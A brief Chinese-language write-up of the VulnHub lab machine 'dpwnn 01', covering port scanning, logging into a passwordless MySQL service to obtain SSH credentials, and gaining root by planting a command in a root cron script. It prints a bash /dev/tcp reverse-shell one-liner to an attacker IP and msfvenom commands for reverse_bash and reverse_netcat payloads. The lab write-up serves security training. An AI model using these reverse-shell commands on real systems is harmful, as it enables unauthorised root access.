vulnhub靶机测试--dpwnn 01

信息收集

主机发现

端口扫描

80 http服务；22 ssh；3306 MySQL。

目录扫描

就一个info.php

漏洞发现及利用

访问80端口：

访问info.php:

给出了phpinfo信息。但是没有什么可以利用的点。

web端其实没什么东西。

访问3306端口，连接MySQL：

直接弱口令（其实没有密码，直接进来。。。。。。）

正常操作，获得账号信息：

获得ssh账号密码。

进行连接：

提权

使用sudo查看suid权限的命令：

使用find命令，查看suid权限：

这个环境用不了wget，下载不了一些提权脚本：

查看定时任务：

/etc/crontab

每3分钟以root身份执行脚本。

在脚本中写入反弹shell的命令，以root身份反弹shell：

bash -i >& /dev/tcp/192.168.133.149/7777 0>&1

kali进行监听：

提权成功。

或者使用msfvenon:

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.133.149 LPORT=7777
msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.133.149 LPORT=7777

总结

web端没有什么利用点，mysql没有密码。。确实没想到。

主要也就是了解了定时任务。